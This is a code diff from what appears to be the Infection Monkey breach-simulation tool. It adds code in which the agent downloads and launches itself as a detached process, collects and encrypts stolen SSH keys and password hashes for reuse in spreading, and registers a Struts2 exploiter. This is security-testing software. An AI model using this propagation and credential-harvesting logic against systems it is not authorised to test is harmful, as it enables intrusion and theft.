a/infection_monkey/test/config__test.py +++ /dev/null @@ -1,45 +0,0 @@ -# -*- coding: UTF-8 -*- -# NOTE: Launch all tests with `nosetests` command from infection_monkey dir. - -import json -import unittest - -from mock import Mock, patch - -import control - -from config import GUID - - -class ReportConfigErrorTestCase(unittest.TestCase): - """ - When unknown config variable received form the island server, skip it and report config - error back to the server. - """ - - config_response = Mock(json=Mock(return_value={'config': {'blah': 'blah'}})) - - def teardown(self): - patch.stopall() - - def test_config(self): - patch('control.requests.patch', Mock()).start() - patch('control.WormConfiguration', Mock(current_server='127.0.0.1:123')).start() - - # GIVEN the server with uknown config variable - patch('control.requests.get', Mock(return_value=self.config_response)).start() - - # WHEN monkey tries to load config from server - control.ControlClient.load_control_config() - - # THEN she reports config error back to the server - control.requests.patch.assert_called_once_with( - "https://127.0.0.1:123/api/monkey/%s" % GUID, - data=json.dumps({'config_error': True}), - headers={'content-type': 'application/json'}, - verify=False, - proxies=control.ControlClient.proxies) - - -if __name__ == '__main__': - unittest.main() diff --git a/infection_monkey/transport/__init__.py b/infection_monkey/transport/__init__.py index 651964fcb..14a0d68b2 100644 --- a/infection_monkey/transport/__init__.py +++ b/infection_monkey/transport/__init__.py @@ -1,4 +1,3 @@ -from ftp import FTPServer from http import HTTPServer __author__ = 'hoffer' diff --git a/infection_monkey/transport/ftp.py b/infection_monkey/transport/ftp.py deleted file mode 100644 index 733dee884..000000000 --- a/infection_monkey/transport/ftp.py +++ /dev/null @@ -1,174 +0,0 @@ -import socket, threading, time -import StringIO - -__author__ = 'hoffer' - - -class FTPServer(threading.Thread): - def __init__(self, local_ip, local_port, files): - self.files=files - self.cwd='/' - self.mode='I' - self.rest=False - self.pasv_mode=False - self.local_ip = local_ip - self.local_port = local_port - threading.Thread.__init__(self) - - def run(self): - self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - self.sock.bind((self.local_ip,self.local_port)) - self.sock.listen(1) - - self.conn, self.addr = self.sock.accept() - - self.conn.send('220 Welcome!\r\n') - while True: - if 0 == len(self.files): - break - cmd=self.conn.recv(256) - if not cmd: break - else: - try: - func=getattr(self,cmd[:4].strip().upper()) - func(cmd) - except Exception,e: - self.conn.send('500 Sorry.\r\n') - break - - self.conn.close() - self.sock.close() - - def SYST(self,cmd): - self.conn.send('215 UNIX Type: L8\r\n') - def OPTS(self,cmd): - if cmd[5:-2].upper()=='UTF8 ON': - self.conn.send('200 OK.\r\n') - else: - self.conn.send('451 Sorry.\r\n') - def USER(self,cmd): - self.conn.send('331 OK.\r\n') - - def PASS(self,cmd): - self.conn.send('230 OK.\r\n') - - def QUIT(self,cmd): - self.conn.send('221 Goodbye.\r\n') - - def NOOP(self,cmd): - self.conn.send('200 OK.\r\n') - - def TYPE(self,cmd): - self.mode=cmd[5] - self.conn.send('200 Binary mode.\r\n') - - def CDUP(self,cmd): - self.conn.send('200 OK.\r\n') - - def PWD(self,cmd): - self.conn.send('257 \"%s\"\r\n' % self.cwd) - - def CWD(self,cmd): - self.conn.send('250 OK.\r\n') - - def PORT(self,cmd): - if self.pasv_mode: - self.servsock.close() - self.pasv_mode = False - l = cmd[5:].split(',') - self.dataAddr='.'.join(l[:4]) - self.dataPort=(int(l[4])<<8)+int(l[5]) - self.conn.send('200 Get port.\r\n') - - def PASV(self,cmd): - self.pasv_mode = True - self.servsock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) - self.servsock.bind((local_ip,0)) - self.servsock.listen(1) - ip, port = self.servsock.getsockname() - self.conn.send('227 Entering Passive Mode (%s,%u,%u).\r\n' % - (','.join(ip.split('.')), port>>8&0xFF, port&0xFF)) - - def start_datasock(self): - if self.pasv_mode: - self.datasock, addr = self.servsock.accept() - else: - self.datasock=socket.socket(socket.AF_INET,socket.SOCK_STREAM) - self.datasock.connect((self.dataAddr,self.dataPort)) - - def stop_datasock(self): - self.datasock.close() - if self.pasv_mode: - self.servsock.close() - - def LIST(self,cmd): - self.conn.send('150 Here comes the directory listing.\r\n') - self.start_datasock() - for fn in self.files.keys(): - k=self.toListItem(fn) - self.datasock.send(k+'\r\n') - self.stop_datasock() - self.conn.send('226 Directory send OK.\r\n') - - def toListItem(self,fn): - fullmode='rwxrwxrwx' - mode = '' - d = '-' - ftime=time.strftime(' %b %d %H:%M ', time.gmtime()) - return d+fullmode+' 1 user group '+str(self.files[fn].tell())+ftime+fn - - def MKD(self,cmd): - self.conn.send('257 Directory created.\r\n') - - def RMD(self,cmd): - self.conn.send('450 Not allowed.\r\n') - - def DELE(self,cmd): - self.conn.send('450 Not allowed.\r\n') - - def SIZE(self,cmd): - self.conn.send('450 Not allowed.\r\n') - - def RNFR(self,cmd): - self.conn.send('350 Ready.\r\n') - - def RNTO(self,cmd): - self.conn.send('250 File renamed.\r\n') - - def REST(self,cmd): - self.pos=int(cmd[5:-2]) - self.rest=True - self.conn.send('250 File position reseted.\r\n') - - def RETR(self,cmd): - fn = cmd[5:-2] - if self.mode=='I': - fi=self.files[fn] - else: - fi=self.files[fn] - self.conn.send('150 Opening data connection.\r\n') - if self.rest: - fi.seek(self.pos) - self.rest=False - data= fi.read(1024) - self.start_datasock() - while data: - self.datasock.send(data) - data=fi.read(1024) - fi.close() - del self.files[fn] - self.stop_datasock() - self.conn.send('226 Transfer complete.\r\n') - - def STOR(self,cmd): - fn = cmd[5:-2] - fo = StringIO.StringIO() - self.conn.send('150 Opening data connection.\r\n') - self.start_datasock() - while True: - data=self.datasock.recv(1024) - if not data: break - fo.write(data) - fo.seek(0) - self.stop_datasock() - self.conn.send('226 Transfer complete.\r\n') diff --git a/infection_monkey/transport/http.py b/infection_monkey/transport/http.py index ee198a08a..8d07fd155 100644 --- a/infection_monkey/transport/http.py +++ b/infection_monkey/transport/http.py @@ -122,7 +122,7 @@ class HTTPConnectProxyHandler(BaseHTTPServer.BaseHTTPRequestHandler): address = (u.hostname, u.port or 443) try: conn = socket.create_connection(address) - except socket.error, e: + except socket.error as e: LOG.debug("HTTPConnectProxyHandler: Got exception while trying to connect to %s: %s" % (repr(address), e)) self.send_error(504) # 504 Gateway Timeout return diff --git a/infection_monkey/transport/tcp.py b/infection_monkey/transport/tcp.py index ee3a05442..eaa94de1c 100644 --- a/infection_monkey/transport/tcp.py +++ b/infection_monkey/transport/tcp.py @@ -63,7 +63,7 @@ class TcpProxy(TransportProxyBase): try: dest = socket.socket(socket.AF_INET, socket.SOCK_STREAM) dest.connect((self.dest_host, self.dest_port)) - except socket.error, ex: + except socket.error as ex: source.close() dest.close() continue diff --git a/infection_monkey/utils.py b/infection_monkey/utils.py index d95407341..e2f66bd03 100644 --- a/infection_monkey/utils.py +++ b/infection_monkey/utils.py @@ -1,5 +1,6 @@ import os import sys +import struct from config import WormConfiguration @@ -12,3 +13,19 @@ def get_monkey_log_path(): def get_dropper_log_path(): return os.path.expandvars(WormConfiguration.dropper_log_path_windows) if sys.platform == "win32" \ else WormConfiguration.dropper_log_path_linux + + +def is_64bit_windows_os(): + ''' + Checks for 64 bit Windows OS using environment variables. + :return: + ''' + return 'PROGRAMFILES(X86)' in os.environ + + +def is_64bit_python(): + return struct.calcsize("P") == 8 + + +def is_windows_os(): + return sys.platform.startswith("win") diff --git a/infection_monkey/windows_upgrader.py b/infection_monkey/windows_upgrader.py new file mode 100644 index 000000000..4ee0462c5 --- /dev/null +++ b/infection_monkey/windows_upgrader.py @@ -0,0 +1,58 @@ +import logging +import subprocess +import sys +import shutil + +import time + +import monkeyfs +from config import WormConfiguration +from control import ControlClient +from exploit.tools import build_monkey_commandline_explicitly +from model import MONKEY_CMDLINE_WINDOWS +from utils import is_windows_os, is_64bit_windows_os, is_64bit_python + +__author__ = 'itay.mizeretz' + +LOG = logging.getLogger(__name__) + +if "win32" == sys.platform: + from win32process import DETACHED_PROCESS +else: + DETACHED_PROCESS = 0 + + +class WindowsUpgrader(object): + __UPGRADE_WAIT_TIME__ = 3 + + @staticmethod + def should_upgrade(): + return is_windows_os() and is_64bit_windows_os() \ + and not is_64bit_python() + + @staticmethod + def upgrade(opts): + try: + monkey_64_path = ControlClient.download_monkey_exe_by_os(True, False) + with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file: + with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file: + shutil.copyfileobj(downloaded_monkey_file, written_monkey_file) + except (IOError, AttributeError): + LOG.error("Failed to download the Monkey to the target path.") + return + + monkey_options = build_monkey_commandline_explicitly(opts.parent, opts.tunnel, opts.server, opts.depth) + + monkey_cmdline = MONKEY_CMDLINE_WINDOWS % { + 'monkey_path': WormConfiguration.dropper_target_path_win_64} + monkey_options + + monkey_process = subprocess.Popen(monkey_cmdline, shell=True, + stdin=None, stdout=None, stderr=None, + close_fds=True, creationflags=DETACHED_PROCESS) + + LOG.info("Executed 64bit monkey process (PID=%d) with command line: %s", + monkey_process.pid, monkey_cmdline) + + time.sleep(WindowsUpgrader.__UPGRADE_WAIT_TIME__) + if monkey_process.poll() is not None: + LOG.error("Seems like monkey died too soon") diff --git a/monkey_island/cc/app.py b/monkey_island/cc/app.py index c185ada29..0f0754ed3 100644 --- a/monkey_island/cc/app.py +++ b/monkey_island/cc/app.py @@ -14,6 +14,7 @@ from cc.resources.client_run import ClientRun from cc.resources.edge import Edge from cc.resources.local_run import LocalRun from cc.resources.log import Log +from cc.resources.island_logs import IslandLog from cc.resources.monkey import Monkey from cc.resources.monkey_configuration import MonkeyConfiguration from cc.resources.monkey_download import MonkeyDownload @@ -106,6 +107,7 @@ def init_app(mongo_url): api.add_resource(Report, '/api/report', '/api/report/') api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/') api.add_resource(Log, '/api/log', '/api/log/') + api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/') api.add_resource(PthMap, '/api/pthmap', '/api/pthmap/') api.add_resource(PTHReport, '/api/pthreport', '/api/pthreport/') diff --git a/monkey_island/cc/environment/environment.py b/monkey_island/cc/environment/environment.py index 8eb97a999..094b9c235 100644 --- a/monkey_island/cc/environment/environment.py +++ b/monkey_island/cc/environment/environment.py @@ -1,7 +1,11 @@ import json +import logging import standard import aws +logger = logging.getLogger(__name__) + + ENV_DICT = { 'standard': standard.StandardEnvironment, 'aws': aws.AwsEnvironment @@ -18,6 +22,7 @@ def load_env_from_file(): try: __env_type = load_env_from_file() env = ENV_DICT[__env_type]() + logger.info('Monkey\'s env is: {0}'.format(env.__class__.__name__)) except Exception: - print('Failed initializing environment: %s' % __env_type) + logger.error('Failed initializing environment', exc_info=True) raise diff --git a/monkey_island/cc/island_logger.py b/monkey_island/cc/island_logger.py new file mode 100644 index 000000000..8fbef1e0e --- /dev/null +++ b/monkey_island/cc/island_logger.py @@ -0,0 +1,26 @@ +import os +import json +import logging.config + + +__author__ = 'Maor.Rayzin' + + +def json_setup_logging(default_path='logging.json', default_level=logging.INFO, env_key='LOG_CFG'): + """ + Setup the logging configuration + :param default_path: the default log configuration file path + :param default_level: Default level to log from + :param env_key: SYS ENV key to use for external configuration file path + :return: + """ + path = default_path + value = os.getenv(env_key, None) + if value: + path = value + if os.path.exists(path): + with open(path, 'rt') as f: + config = json.load(f) + logging.config.dictConfig(config) + else: + logging.basicConfig(level=default_level) diff --git a/monkey_island/cc/island_logger_default_config.json b/monkey_island/cc/island_logger_default_config.json new file mode 100644 index 000000000..e41ca3d9b --- /dev/null +++ b/monkey_island/cc/island_logger_default_config.json @@ -0,0 +1,33 @@ +{ + "version": 1, + "disable_existing_loggers": false, + "formatters": { + "simple": { + "format": "%(asctime)s - %(filename)s:%(lineno)s - %(funcName)10s() - %(levelname)s - %(message)s" + } + }, + + "handlers": { + "console": { + "class": "logging.StreamHandler", + "level": "DEBUG", + "formatter": "simple", + "stream": "ext://sys.stdout" + }, + + "info_file_handler": { + "class": "logging.handlers.RotatingFileHandler", + "level": "INFO", + "formatter": "simple", + "filename": "info.log", + "maxBytes": 10485760, + "backupCount": 20, + "encoding": "utf8" + } + }, + + "root": { + "level": "INFO", + "handlers": ["console", "info_file_handler"] + } +} \ No newline at end of file diff --git a/monkey_island/cc/main.py b/monkey_island/cc/main.py index e0f6ab079..c1133a9c8 100644 --- a/monkey_island/cc/main.py +++ b/monkey_island/cc/main.py @@ -2,19 +2,25 @@ from __future__ import print_function # In python 2.7 import os import sys - import time +import logging BASE_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) if BASE_PATH not in sys.path: sys.path.insert(0, BASE_PATH) +from cc.island_logger import json_setup_logging +# This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top. +json_setup_logging(default_path='island_logger_default_config.json', default_level=logging.DEBUG) +logger = logging.getLogger(__name__) + from cc.app import init_app from cc.utils import local_ip_addresses from cc.environment.environment import env from cc.database import is_db_server_up -if __name__ == '__main__': + +def main(): from tornado.wsgi import WSGIContainer from tornado.httpserver import HTTPServer from tornado.ioloop import IOLoop @@ -22,7 +28,7 @@ if __name__ == '__main__': mongo_url = os.environ.get('MONGO_URL', env.get_mongo_url()) while not is_db_server_up(mongo_url): - print('Waiting for MongoDB server') + logger.info('Waiting for MongoDB server') time.sleep(1) app = init_app(mongo_url) @@ -33,6 +39,10 @@ if __name__ == '__main__': ssl_options={'certfile': os.environ.get('SERVER_CRT', 'server.crt'), 'keyfile': os.environ.get('SERVER_KEY', 'server.key')}) http_server.listen(env.get_island_port()) - print('Monkey Island Server is running on https://{}:{}'.format(local_ip_addresses()[0], env.get_island_port())) + logger.info( + 'Monkey Island Server is running on https://{}:{}'.format(local_ip_addresses()[0], env.get_island_port())) IOLoop.instance().start() + +if __name__ == '__main__': + main() diff --git a/monkey_island/cc/resources/client_run.py b/monkey_island/cc/resources/client_run.py index 111c0d1a2..0e4be42e7 100644 --- a/monkey_island/cc/resources/client_run.py +++ b/monkey_island/cc/resources/client_run.py @@ -1,3 +1,4 @@ +import logging from flask import request, jsonify import flask_restful @@ -5,6 +6,8 @@ from cc.services.node import NodeService __author__ = 'itay.mizeretz' +logger = logging.getLogger(__name__) + class ClientRun(flask_restful.Resource): def get(self): @@ -17,6 +20,7 @@ class ClientRun(flask_restful.Resource): if monkey is not None: is_monkey_running = not monkey["dead"] else: + logger.info("Monkey is not running") is_monkey_running = False return jsonify(is_running=is_monkey_running) diff --git a/monkey_island/cc/resources/island_logs.py b/monkey_island/cc/resources/island_logs.py new file mode 100644 index 000000000..971306c14 --- /dev/null +++ b/monkey_island/cc/resources/island_logs.py @@ -0,0 +1,19 @@ +import logging + +import flask_restful + +from cc.auth import jwt_required +from cc.services.island_logs import IslandLogService + +__author__ = "Maor.Rayzin" + +logger = logging.getLogger(__name__) + + +class IslandLog(flask_restful.Resource): + @jwt_required() + def get(self): + try: + return IslandLogService.get_log_file() + except Exception as e: + logger.error('Monkey Island logs failed to download', exc_info=True) diff --git a/monkey_island/cc/resources/local_run.py b/monkey_island/cc/resources/local_run.py index c588eaf80..7b8965e1e 100644 --- a/monkey_island/cc/resources/local_run.py +++ b/monkey_island/cc/resources/local_run.py @@ -13,6 +13,8 @@ from cc.utils import local_ip_addresses __author__ = 'Barak' +import logging +logger = logging.getLogger(__name__) def run_local_monkey(): import platform @@ -32,6 +34,7 @@ def run_local_monkey(): copyfile(monkey_path, target_path) os.chmod(target_path, stat.S_IRWXU | stat.S_IRWXG) except Exception as exc: + logger.error('Copy file failed', exc_info=True) return False, "Copy file failed: %s" % exc # run the monkey @@ -41,6 +44,7 @@ def run_local_monkey(): args = "".join(args) pid = subprocess.Popen(args, shell=True).pid except Exception as exc: + logger.error('popen failed', exc_info=True) return False, "popen failed: %s" % exc return True, "pis: %s" % pid diff --git a/monkey_island/cc/resources/monkey_configuration.py b/monkey_island/cc/resources/monkey_configuration.py index db4d17167..6dab8dddb 100644 --- a/monkey_island/cc/resources/monkey_configuration.py +++ b/monkey_island/cc/resources/monkey_configuration.py @@ -17,7 +17,7 @@ class MonkeyConfiguration(flask_restful.Resource): @jwt_required() def post(self): config_json = json.loads(request.data) - if config_json.has_key('reset'): + if 'reset' in config_json: ConfigService.reset_config() else: ConfigService.update_config(config_json, should_encrypt=True) diff --git a/monkey_island/cc/resources/monkey_download.py b/monkey_island/cc/resources/monkey_download.py index ac1f9de2d..acf92b558 100644 --- a/monkey_island/cc/resources/monkey_download.py +++ b/monkey_island/cc/resources/monkey_download.py @@ -1,3 +1,4 @@ +import logging import json import os @@ -6,6 +7,8 @@ import flask_restful __author__ = 'Barak' +logger = logging.getLogger(__name__) + MONKEY_DOWNLOADS = [ { @@ -18,6 +21,11 @@ MONKEY_DOWNLOADS = [ 'machine': 'i686', 'filename': 'monkey-linux-32', }, + { + 'type': 'linux', + 'machine': 'i386', + 'filename': 'monkey-linux-32', + }, { 'type': 'linux', 'filename': 'monkey-linux-64', @@ -32,6 +40,16 @@ MONKEY_DOWNLOADS = [ 'machine': 'amd64', 'filename': 'monkey-windows-64.exe', }, + { + 'type': 'windows', + 'machine': '64', + 'filename': 'monkey-windows-64.exe', + }, + { + 'type': 'windows', + 'machine': '32', + 'filename': 'monkey-windows-32.exe', + }, { 'type': 'windows', 'filename': 'monkey-windows-32.exe', @@ -42,7 +60,10 @@ MONKEY_DOWNLOADS = [ def get_monkey_executable(host_os, machine): for download in MONKEY_DOWNLOADS: if host_os == download.get('type') and machine == download.get('machine'): + logger.info('Monkey exec found for os: {0} and machine: {1}'.format(host_os, machine)) return download + logger.warning('No monkey executables could be found for the host os or machine or both: host_os: {0}, machine: {1}' + .format(host_os, machine)) return None diff --git a/monkey_island/cc/resources/root.py b/monkey_island/cc/resources/root.py index 9983ecc82..1d9141589 100644 --- a/monkey_island/cc/resources/root.py +++ b/monkey_island/cc/resources/root.py @@ -1,4 +1,5 @@ from datetime import datetime +import logging import flask_restful from flask import request, make_response, jsonify @@ -12,10 +13,11 @@ from cc.utils import local_ip_addresses __author__ = 'Barak' +logger = logging.getLogger(__name__) + class Root(flask_restful.Resource): - @jwt_required() def get(self, action=None): if not action: action = request.args.get('action') @@ -26,31 +28,42 @@ class Root(flask_restful.Resource): return Root.reset_db() elif action == "killall": return Root.kill_all() + elif action == "is-up": + return {'is-up': True} else: return make_response(400, {'error': 'unknown action'}) @staticmethod + @jwt_required() def get_server_info(): return jsonify(ip_addresses=local_ip_addresses(), mongo=str(mongo.db), completed_steps=Root.get_completed_steps()) @staticmethod + @jwt_required() def reset_db(): # We can't drop system collections. [mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')] ConfigService.init_config() + logger.info('DB was reset') return jsonify(status='OK') @staticmethod + @jwt_required() def kill_all(): mongo.db.monkey.update({'dead': False}, {'$set': {'config.alive': False, 'modifytime': datetime.now()}}, upsert=False, multi=True) + logger.info('Kill all monkeys was called') return jsonify(status='OK') @staticmethod + @jwt_required() def get_completed_steps(): is_any_exists = NodeService.is_any_monkey_exists() infection_done = NodeService.is_monkey_finished_running() - report_done = ReportService.is_report_generated() + if not infection_done: + report_done = False + else: + report_done = ReportService.is_report_generated() return dict(run_server=True, run_monkey=is_any_exists, infection_done=infection_done, report_done=report_done) diff --git a/monkey_island/cc/resources/telemetry.py b/monkey_island/cc/resources/telemetry.py index 6297710e2..80454d58c 100644 --- a/monkey_island/cc/resources/telemetry.py +++ b/monkey_island/cc/resources/telemetry.py @@ -17,7 +17,8 @@ from cc.encryptor import encryptor __author__ = 'Barak' -LOG = logging.getLogger(__name__) + +logger = logging.getLogger(__name__) class Telemetry(flask_restful.Resource): @@ -55,10 +56,9 @@ class Telemetry(flask_restful.Resource): if telem_type in TELEM_PROCESS_DICT: TELEM_PROCESS_DICT[telem_type](telemetry_json) else: - print('Got unknown type of telemetry: %s' % telem_type) - except StandardError as ex: - print("Exception caught while processing telemetry: %s" % str(ex)) - traceback.print_exc() + logger.info('Got unknown type of telemetry: %s' % telem_type) + except Exception as ex: + logger.error("Exception caught while processing telemetry", exc_info=True) telem_id = mongo.db.telemetry.insert(telemetry_json) return mongo.db.telemetry.find_one_or_404({"_id": telem_id}) @@ -133,7 +133,7 @@ class Telemetry(flask_restful.Resource): for attempt in telemetry_json['data']['attempts']: if attempt['result']: found_creds = {'user': attempt['user']} - for field in ['password', 'lm_hash', 'ntlm_hash']: + for field in ['password', 'lm_hash', 'ntlm_hash', 'ssh_key']: if len(attempt[field]) != 0: found_creds[field] = attempt[field] NodeService.add_credentials_to_node(edge['to'], found_creds) @@ -170,16 +170,23 @@ class Telemetry(flask_restful.Resource): @staticmethod def process_system_info_telemetry(telemetry_json): - LOG.debug("Processing system info telemtery for encryption...") - + if 'ssh_info' in telemetry_json['data']: + ssh_info = telemetry_json['data']['ssh_info'] + Telemetry.encrypt_system_info_ssh_keys(ssh_info) + if telemetry_json['data']['network_info']['networks']: + # We use user_name@machine_ip as the name of the ssh key stolen, thats why we need ip from telemetry + Telemetry.add_ip_to_ssh_keys(telemetry_json['data']['network_info']['networks'][0], ssh_info) + Telemetry.add_system_info_ssh_keys_to_config(ssh_info) if 'credentials' in telemetry_json['data']: - LOG.debug("Encrypting telemetry credentials...") creds = telemetry_json['data']['credentials'] Telemetry.encrypt_system_info_creds(creds) Telemetry.add_system_info_creds_to_config(creds) Telemetry.replace_user_dot_with_comma(creds) - - LOG.debug("Done enrypting") + + @staticmethod + def add_ip_to_ssh_keys(ip, ssh_info): + for key in ssh_info: + key['ip'] = ip['addr'] @staticmethod def process_trace_telemetry(telemetry_json): @@ -198,7 +205,15 @@ class Telemetry(flask_restful.Resource): for user in creds: for field in ['password', 'lm_hash', 'ntlm_hash']: if field in creds[user]: - creds[user][field] = encryptor.enc(creds[user][field]) + # this encoding is because we might run into passwords which are not pure ASCII + creds[user][field] = encryptor.enc(creds[user][field].encode('utf-8')) + + @staticmethod + def encrypt_system_info_ssh_keys(ssh_info): + for idx, user in enumerate(ssh_info): + for field in ['public_key', 'private_key', 'known_hosts']: + if ssh_info[idx][field]: + ssh_info[idx][field] = encryptor.enc(ssh_info[idx][field].encode('utf-8')) @staticmethod def add_system_info_creds_to_config(creds): @@ -211,6 +226,15 @@ class Telemetry(flask_restful.Resource): if 'ntlm_hash' in creds[user]: ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash']) + @staticmethod + def add_system_info_ssh_keys_to_config(ssh_info): + for user in ssh_info: + ConfigService.creds_add_username(user['name']) + # Public key is useless without private key + if user['public_key'] and user['private_key']: + ConfigService.ssh_add_keys(user['public_key'], user['private_key'], + user['name'], user['ip']) + @staticmethod def encrypt_exploit_creds(telemetry_json): attempts = telemetry_json['data']['attempts'] @@ -218,7 +242,7 @@ class Telemetry(flask_restful.Resource): for field in ['password', 'lm_hash', 'ntlm_hash']: credential = attempts[i][field] if len(credential) > 0: - attempts[i][field] = encryptor.enc(credential) + attempts[i][field] = encryptor.enc(credential.encode('utf-8')) TELEM_PROCESS_DICT = \ @@ -229,4 +253,4 @@ TELEM_PROCESS_DICT = \ 'scan': Telemetry.process_scan_telemetry, 'system_info_collection': Telemetry.process_system_info_telemetry, 'trace': Telemetry.process_trace_telemetry - } \ No newline at end of file + } diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 1b4756ea9..8781f2b21 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -1,7 +1,9 @@ import copy import collections import functools +import logging from jsonschema import Draft4Validator, validators +from six import string_types from cc.database import mongo from cc.encryptor import encryptor @@ -10,6 +12,8 @@ from cc.utils import local_ip_addresses __author__ = "itay.mizeretz" +logger = logging.getLogger(__name__) + WARNING_SIGN = u" \u26A0" SCHEMA = { @@ -76,6 +80,13 @@ SCHEMA = { ], "title": "ElasticGroovy Exploiter" }, + { + "type": "string", + "enum": [ + "Struts2Exploiter" + ], + "title": "Struts2 Exploiter" + } ] }, "finger_classes": { @@ -117,6 +128,14 @@ SCHEMA = { ], "title": "MySQLFinger" }, + { + "type": "string", + "enum": [ + "MSSQLFinger" + ], + "title": "MSSQLFinger" + }, + { "type": "string", "enum": [ @@ -202,32 +221,9 @@ SCHEMA = { "Amount of hops allowed for the monkey to spread from the island. " + WARNING_SIGN + " Note that setting this value too high may result in the monkey propagating too far" - } - } - }, - "network_range": { - "title": "Network range", - "type": "object", - "properties": { - "range_class": { - "title": "Range class", - "type": "string", - "default": "FixedRange", - "enum": [ - "FixedRange", - "ClassCRange" - ], - "enumNames": [ - "Fixed Range", - "Class C Range" - ], - "description": - "Determines which class to use to determine scan range." - " Fixed Range will scan only specific IPs listed under Fixed range IP list." - " Class C Range will scan machines in the Class C network the monkey's on." }, - "range_fixed": { - "title": "Fixed range IP list", + "subnet_scan_list": { + "title": "Scan IP/subnet list", "type": "array", "uniqueItems": True, "items": { @@ -236,8 +232,8 @@ SCHEMA = { "default": [ ], "description": - "List of IPs to include when using FixedRange" - " (Only relevant for Fixed Range)" + "List of IPs/subnets the monkey should scan." + " Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\"" } } } @@ -386,6 +382,7 @@ SCHEMA = { "PingScanner", "HTTPFinger", "MySQLFinger", + "MSSQLFinger", "ElasticFinger" ], "description": "Determines which classes to use for fingerprinting" @@ -444,11 +441,19 @@ SCHEMA = { "default": "/tmp/monkey", "description": "Determines where should the dropper place the monkey on a Linux machine" }, - "dropper_target_path": { - "title": "Dropper target path on Windows", + "dropper_target_path_win_32": { + "title": "Dropper target path on Windows (32bit)", "type": "string", - "default": "C:\\Windows\\monkey.exe", - "description": "Determines where should the dropper place the monkey on a Windows machine" + "default": "C:\\Windows\\monkey32.exe", + "description": "Determines where should the dropper place the monkey on a Windows machine " + "(32bit)" + }, + "dropper_target_path_win_64": { + "title": "Dropper target path on Windows (64bit)", + "type": "string", + "default": "C:\\Windows\\monkey64.exe", + "description": "Determines where should the dropper place the monkey on a Windows machine " + "(64 bit)" }, "dropper_try_move_first": { "title": "Try to move first", @@ -519,6 +524,16 @@ SCHEMA = { }, "default": [], "description": "List of NTLM hashes to use on exploits using credentials" + }, + "exploit_ssh_keys": { + "title": "SSH key pairs list", + "type": "array", + "uniqueItems": True, + "default": [], + "items": { + "type": "string" + }, + "description": "List of SSH key pairs to use, when trying to ssh into servers" } } }, @@ -560,7 +575,7 @@ SCHEMA = { "type": "string" }, "default": [ - "41.50.73.31:5000" + "192.0.2.0:5000" ], "description": "List of command servers to try and communicate with (format is :)" }, @@ -582,7 +597,7 @@ SCHEMA = { "current_server": { "title": "Current server", "type": "string", - "default": "41.50.73.31:5000", + "default": "192.0.2.0:5000", "description": "The current command server the monkey is communicating with" } } @@ -610,7 +625,8 @@ SCHEMA = { "SSHExploiter", "ShellShockExploiter", "SambaCryExploiter", - "ElasticGroovyExploiter" + "ElasticGroovyExploiter", + "Struts2Exploiter" ], "description": "Determines which exploits to use. " + WARNING_SIGN @@ -815,7 +831,8 @@ ENCRYPTED_CONFIG_ARRAYS = \ [ ['basic', 'credentials', 'exploit_password_list'], ['internal', 'exploits', 'exploit_lm_hash_list'], - ['internal', 'exploits', 'exploit_ntlm_hash_list'] + ['internal', 'exploits', 'exploit_ntlm_hash_list'], + ['internal', 'exploits', 'exploit_ssh_keys'] ] @@ -903,11 +920,24 @@ class ConfigService: def creds_add_ntlm_hash(ntlm_hash): ConfigService.add_item_to_config_set('internal.exploits.exploit_ntlm_hash_list', ntlm_hash) + @staticmethod + def ssh_add_keys(public_key, private_key, user, ip): + if not ConfigService.ssh_key_exists(ConfigService.get_config_value(['internal', 'exploits', 'exploit_ssh_keys'], + False, False), user, ip): + ConfigService.add_item_to_config_set('internal.exploits.exploit_ssh_keys', + {"public_key": public_key, "private_key": private_key, + "user": user, "ip": ip}) + + @staticmethod + def ssh_key_exists(keys, user, ip): + return [key for key in keys if key['user'] == user and key['ip'] == ip] + @staticmethod def update_config(config_json, should_encrypt): if should_encrypt: ConfigService.encrypt_config(config_json) mongo.db.config.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True) + logger.info('monkey config was updated') @staticmethod def init_default_config(): @@ -923,6 +953,7 @@ class ConfigService: config = copy.deepcopy(ConfigService.default_config) if should_encrypt: ConfigService.encrypt_config(config) + logger.info("Default config was called") return config @staticmethod @@ -936,6 +967,7 @@ class ConfigService: config = ConfigService.get_default_config(True) ConfigService.set_server_ips_in_config(config) ConfigService.update_config(config, should_encrypt=False) + logger.info('Monkey config reset was called') @staticmethod def set_server_ips_in_config(config): @@ -952,6 +984,7 @@ class ConfigService: initial_config['name'] = 'initial' initial_config.pop('_id') mongo.db.config.insert(initial_config) + logger.info('Monkey config was inserted to mongo and saved') @staticmethod def _extend_config_with_default(validator_class): @@ -993,8 +1026,12 @@ class ConfigService: """ keys = [config_arr_as_array[2] for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS] for key in keys: - if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], basestring): - flat_config[key] = [encryptor.dec(item) for item in flat_config[key]] + if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], string_types): + # Check if we are decrypting ssh key pair + if flat_config[key] and isinstance(flat_config[key][0], dict) and 'public_key' in flat_config[key][0]: + flat_config[key] = [ConfigService.decrypt_ssh_key_pair(item) for item in flat_config[key]] + else: + flat_config[key] = [encryptor.dec(item) for item in flat_config[key]] else: flat_config[key] = encryptor.dec(flat_config[key]) return flat_config @@ -1007,4 +1044,19 @@ class ConfigService: config_arr = config_arr[config_key_part] for i in range(len(config_arr)): - config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i]) + # Check if array of shh key pairs and then decrypt + if isinstance(config_arr[i], dict) and 'public_key' in config_arr[i]: + config_arr[i] = ConfigService.decrypt_ssh_key_pair(config_arr[i]) if is_decrypt else \ + 